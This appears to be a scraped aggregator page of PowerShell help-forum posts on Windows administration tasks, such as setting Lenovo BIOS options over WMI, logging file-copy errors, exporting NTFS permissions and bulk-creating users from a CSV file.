Hello, I need help in setting bios settings remotely to 1000+ computers. I have a problem where I have computers with two different passwords. I came up with PowerShell script but the two passwords don't work in conjunction together. Can you please help with the scripts. Can you also provide me with VBS script so I can use group policy to apply the changes? Powershell will work in SCCM task sequence but doesn't work in group policy because of evaluation issues. Here is the script I came up with:   param(
[Parameter(Mandatory=$true,Position=1)]
[string]$password,
[Parameter(Mandatory=$true,Position=2)]
[array]$config
)
$settings = Get-Content $config
foreach($setting in $settings)
{
$run = "$setting,$password,ascii,us"
$Response = (gwmi -class Lenovo_SetBiosSetting -namespace root\wmi).SetBiosSetting("$run").return
write-output ("$setting`n$Response")
if($Response="Access Denied")
{$password="h3cabozihctymageiv4i"}
$Response = (gwmi -class Lenovo_SaveBiosSettings -namespace root\wmi).SaveBiosSettings("$password,ascii,us").return
write-output ("$setting`n$Response")

}Powershell.exe -ExecutionPolicy bypass -file "\\mdt\deploymentshare$\Scripts\Westmount\BIOS Update\powershell.ps1" -password h3cabozihctymage -config "\\mdt\deploymentshare$\Scripts\Westmount\BIOS Update\Lenovo Bios Setting.txt" The  script works but not with second password.  Is it possible you can help me out here? I have very... Read more

Read other answers
RELEVANCY SCORE 58

i am trying trying to have my powershell script say "ok, computer will restart now" after user inputs a y after they are aked if they would like to reboot.and it just jumps right by it and says "OK... computer will NOT be restarted. Also if the use hits enter to any of the first 3 questions i want all the parameters to stay the same. below is the script i have so far. can anyone help. You will have to excuse me if this is a dumb question. I just started learning powershell.

#########################################################################
# Funtion FUNC-y/n
#########################################################################
function FUNC-y/n
{do {$yn = Read-Host "Would you like to reboot now (y/n)?" }
until ("y","n" -ccontains $yn)}
#########################################################################
$compd = Get-WmiObject -Class Win32_OperatingSystem |Select Description
write-host "Your existing computer description is " $compd
cls
$cn = Read-Host "Enter computer name"
write-host ""

$desc = Read-Host "Enter computer description"
write-host ""
#########################################################################
# CHANGE COMPUTER DESCRIPTION
#########################################################################
$OSWMI=Get-WmiObject -class Win32_OperatingSystem
$OSWMI.Description=$desc
$OSWMI.put()| out-null #| OUT-NULL suppressess powershell command outp... Read more

Read other answers
RELEVANCY SCORE 58

powershell  sample script to install bat or cmd fles on mutiple computers remotely

Read other answers
RELEVANCY SCORE 58

Hi,
I need copy files from one(source) server to another(destination) server and want to log an event in case any failure happens for example if destination server is not available.
I have tested the following command in a powershell script and its just working fine for copy to destination and then moving the files to archive. 

Copy-Item "c:\copy\*" -Destination "\\server1\d$\testcopy" 
Move-Item "c:\copy\*" -Destination "c:\Archive" 


Please advise how can i log event in eventviewer in case of error or if script is not executed.

Read other answers
RELEVANCY SCORE 58

Hey there, my Windows 10 Machine is updated and patched with the update: kb4056892.
 
My processor: Intel® Core™ i3-3240 CPU @ 3.40GHz.
Engine: Intel® Management Engine.
My OS: Microsoft Windows 10 Home 64x.
My Desktop: Hewlett-Packard, Pro3500 Series
 
already tested it with: Intel-SA-00086 Detection Tool 1.0.0.152.   (I don't Know what the Tool doe's but people says it will scan if your processor is patched against Meltdown, or Spectre.. but i don't know.. :s)
 
and the results are: This system is not vulnerable.
 
but iknow MS have created an Powershell-Script to check if your system is Patched against Meltdown or Spectre or if it need Firmware update or not..
 
But when i run the Scripts:
 
Install-Module SpeculationControl (It asks me how to open it with an app)
 
already changed the: Set-ExecutionPolicy Bypass (To YES all)
 
But nothing has helped.. and i need to run this Script, anything to fix this so that i can run the Script, to check my System?
 
already have enabled (Strict Site Isolation in Google Chrome) and as always using an adblocker to protect me from Malicious Ads, other things.. 
 
-Cheers! 

A:Meltdown and Spectre (Problem with Powershell-Script!) Need Help ..

You have already applied the KB patch that fixes the vulnerabilities.   There is nothing more that needs to be done.

Read other 55 answers
RELEVANCY SCORE 58

I am looking for a script which will export NTFS permission to to excel. 

below script will serve the purpose, but since I am running on a large share with millions of folder its running for days and not sure where its stuck. 

1st day it showed me couple of error saying dont have access to this folder in PowerShell and after that it stopped showing any error but something is still running i guess but script not finished after 4 days. 

what I am looking for is a script which will create excel first and keep writing to the excel rather that storing in table and and export at the end so i know if the script is progression or not?  

$FolderPath = dir -Directory -Path "\\server\share" -Recurse -Force
$Report = @()
Foreach ($Folder in $FolderPath) {
    $Acl = Get-Acl -Path $Folder.FullName
    foreach ($Access in $acl.Access)
        {
            $Properties = [ordered]@{'FolderName'=$Folder.FullName;'AD
Group or
User'=$Access.IdentityReference;'Permissions'=$Access.FileSystemRights;'Inherited'=$Access.IsInherited}
            $Report += New-Object -TypeName PSObject -Property $Properties
        }
}
$Report | Export-Csv -path "C:\\Export NTFS Permission.csv"

Read other answers
RELEVANCY SCORE 58

hi i have problem with some app for example powershell or Troubleshooting
see event :

- <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
- <System>
<Provider Name="Application Error" />

<EventID Qualifiers="0">1000</EventID>

<Level>2</Level>

<Task>100</Task>

<Keywords>0x80000000000000</Keywords>

<TimeCreated SystemTime="2014-10-17T18:13:30.000000000Z" />

<EventRecordID>19081</EventRecordID>

<Channel>Application</Channel>
<Security />

</System>
- <EventData>
<Data>powershell.exe</Data>

<Data>6.3.9600.16384</Data>

<Data>5215ef23</Data>

<Data>clr.dll</Data>

<Data>4.0.30319.34209</Data>

<Data>5348a1ef</Data>

<Data>c0000005</Data>

<Data>00000000001f15b5</Data>

<Data>12f8</Data>

<Data>01cfea360e11f963</Data>

<Data>C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe</Data>

<Data>C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll</Data>

<Data>4bc80eb9-5629-11e4-82f1-8c89a50d7870</Data>

<Data />

<Data />

</EventData>
</Event>


- <Event xmlns="... Read more

Read other answers
RELEVANCY SCORE 57.6

Hi Team,
How to consolidate please all repport mbsa to one report
found this link to convert to xml and xls files but not my needs
http://myitkit.blogspot.com/2012/10/how-to-convert-mbsa-scan-report-to-excel.html
I'm not expert for Scripting
https://technet.microsoft.com/en-us/library/dd277363.aspx
https://deploywindows.com/2015/01/22/automate-mbsa-scan-and-download-missing-patches/
Appréciate your helps :)

Regards


Partager C'est avancer : Votez!SVP

Read other answers
RELEVANCY SCORE 57.6

I want to turn on and off Airplane mode through powershell script, any way for this?
I know that there are some exe files that can be used, but still I want to do this from powershell script.

A:How to Turn On/Off Airplane mode in windows through powershell script

Hi,
According to your description, I would like to share the link with you:
Airplane Mode On or Off Shortcuts - Create in Windows 8
http://www.eightforums.com/tutorials/24541-airplane-mode-off-shortcuts-create-windows-8-a.html
If you want to the detail of the script, I suggest to post the question on Script Center forum for further help.
Script Center forum:
http://social.technet.microsoft.com/Forums/scriptcenter/en-US/home
Note: Microsoft provides third-party contact information to help you find technical support. This contact information may change without notice. Microsoft does not guarantee the accuracy of this third-party contact information.
Regards,Kelvin_Hsu
TechNet Community Support

Read other 3 answers
RELEVANCY SCORE 57.6

Hi.

I would like to automatize cleaning the Windows 10's start menu from all these default pinned apps that I'm not using. I don't want to remove apps, only unpin from from start.

I tried to google help, but didn't find any. There seems to be no command to pin and unpin apps in start menu. Any alternative methods? The information about the configuration of start menu must be stored somewhere, so has anyone found a way to hack this information?

A:How to automatically (cmd/powershell script) unpin all apps in start

I want to do this too and I remember reading of a way, however I might be mistaken. Hopefully, someone will respond and let us know.

Read other 3 answers
RELEVANCY SCORE 57.6

Hi All I've found and successfully used the quick script to change BIOS passwords via Powershell for the Thinkpad line. I'm hoping the community can point me to a similar script for the Thinkcentres. We have several hundred Thinkcentres to update and the .vbs scripting information I've found isn't working for us. I'm really hoping there's a quick line similar to the Thinkpads. Thanks for any help.

Read other answers
RELEVANCY SCORE 57.6

Hi all,

I'm trying to make a batch or powershell file that will call multiple names and passwords from a CSV file and then create local users with them.

Anyone able to help? - I've made users in command line before using the Net User command, but i'm not sure how to use the variables to say read the data from this spreadsheet, then add a user with it.

Any help would be gratefully received!

Thanks
Matt
 

A:Batch / Powershell script to add multiple Local users

i found this from when i used to do sysadmin,

Code:
###########################################################
# AUTHOR : Marius / Hican - http://www.hican.nl - @hicannl
# DATE : 26-04-2012
# COMMENT : This script creates new Active Directory users
# including different kind of properties based
# on an input_create_ad_users.csv.
###########################################################
Import-Module ActiveDirectory
# Get current directory and set import file in variable
$path = Split-Path -parent $MyInvocation.MyCommand.Definition
$newpath = $path + "\import_create_ad_users.csv"
# Define variables
$log = $path + "\create_ad_users.log"
$date = Get-Date
$i = 0
# Change this to the location you want the users to be created in your AD
$location = "OU=Test,OU=Users,DC=hican,DC=nl"
# FUNCTIONS
Function createUsers
{
"Created following users (on " + $date + "): " | Out-File $log -append
"--------------------------------------------" | Out-File $log -append
Import-CSV $newpath | ForEach-Object {
# A check for the country, because those were full names and need
# to be landcodes in order for AD to accept them. I used Netherlands
# as example
If($_.CO -eq "Netherlands")
{
$_.CO = "NL"
}
# Replace dots / points (.) in names, because AD will error when a ... Read more

Read other 1 answers